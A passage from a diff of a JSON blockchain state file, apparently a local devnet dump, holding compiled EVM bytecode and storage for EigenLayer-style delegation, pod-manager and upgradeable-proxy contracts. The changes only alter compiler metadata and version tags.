00160a01b0319166001600160a01b038816908117909155905192945092507f21c99d0db02213c32fff5b05cf0a718ab5f858802b91498f80d82270289d856a91a3919050565b604080516001600160f81b03196020808301919091526bffffffffffffffffffffffff193060601b16602183015260358201859052605580830185905283518084039091018152607590920190925280519101206000906113d8565b609780546001600160a01b0319166001600160a01b0383169081179091556040517f08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f690600090a250565b6065546001600160a01b031615801561222057506001600160a01b03821615155b6122a25760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26122e582611e51565b5050565b6000808447101561233c5760405162461bcd60e51b815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604482015260640161071d565b825160000361238d5760405162461bcd60e51b815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604482015260640161071d565b8383516020850187f590506001600160a01b0381166123ee5760405162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015260640161071d565b949350505050565b6001600160a01b03811681146109c157600080fd5b6000806040838503121561241e57600080fd5b8235612429816123f6565b946020939093013593505050565b60006020828403121561244957600080fd5b81356113d8816123f6565b60006020828403121561246657600080fd5b5035919050565b60008060006060848603121561248257600080fd5b833561248d816123f6565b9250602084013561249d816123f6565b929592945050506040919091013590565b6000602082840312156124c057600080fd5b813567ffffffffffffffff811681146113d857600080fd5b6000602082840312156124ea57600080fd5b813560ff811681146113d857600080fd5b60008083601f84011261250d57600080fd5b50813567ffffffffffffffff81111561252557600080fd5b60208301915083602082850101111561253d57600080fd5b9250929050565b60008060008060006060868803121561255c57600080fd5b853567ffffffffffffffff81111561257357600080fd5b61257f888289016124fb565b909650945050602086013567ffffffffffffffff81111561259f57600080fd5b6125ab888289016124fb565b96999598509660400135949350505050565b600080600080608085870312156125d357600080fd5b84356125de816123f6565b935060208501356125ee816123f6565b925060408501356125fe816123f6565b9396929550929360600135925050565b602080825260409082018190527f456967656e506f644d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826126915761269161266c565b500690565b634e487b7160e01b600052601160045260246000fd5b80820182811260008312801582168215821617156126cc576126cc612696565b505092915050565b6000602082840312156126e657600080fd5b81516113d8816123f6565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561274d57600080fd5b815180151581146113d857600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000600160ff1b82016127ba576127ba612696565b5060000390565b8181038181111561090b5761090b612696565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6060815260006128116060830187896127d4565b82810360208401526128248186886127d4565b9150508260408301529695505050505050565b6000815160005b81811015612858576020818501810151868301520161283e565b50600093019283525090919050565b60006123ee6128768386612837565b84612837565b818103600083128015838313168383128216171561289c5761289c612696565b5092915050565b6000826128b2576128b261266c565b500790565b6000602082840312156128c957600080fd5b5051919050565b6000600182016128e2576128e2612696565b506001019056fe608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65644e2b791dedccd9fb30141b088cabf5c14a8912b52f59375c95c010700b8c6193456967656e506f644d616e616765722e77697468647261775368617265734173a26469706673582212207ff0786e5c0a24739a386958aed54016658ca50211cd889cffa9bed27003964664736f6c634300081b0033", "storage": { "0x0000000000000000000000000000000000000000000000000000000000000000": "0x00000000000000000000000000000000000000000000000000000000000000ff" } @@ -196,7 +196,7 @@ "0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0": { "nonce": 1, "balance": "0x0", - "code": "0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea264697066735822122083f6599f3b40efb95aaba690bbeee04c49e0cc0eebd29434caa726d365b9d29f64736f6c634300081c0033", + "code": "0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea2646970667358221220424d2f5bff64d045b6950bb0e1329244f07cfae4a755f0d78a3a69f9c92adc8464736f6c634300081b0033", "storage": {} }, "0xa0ee7a142d267c1f36714e4a8f75612f20a79720": { @@ -208,7 +208,7 @@ "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853": { "nonce": 1, "balance": "0x0", - "code": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", + "code": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", "storage": { "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc": "0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1", "0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103": "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" @@ -217,7 +217,7 @@ "0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0": { "nonce": 1, "balance": "0x0", - "code": "0x608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916148061103f5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614806113bb5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f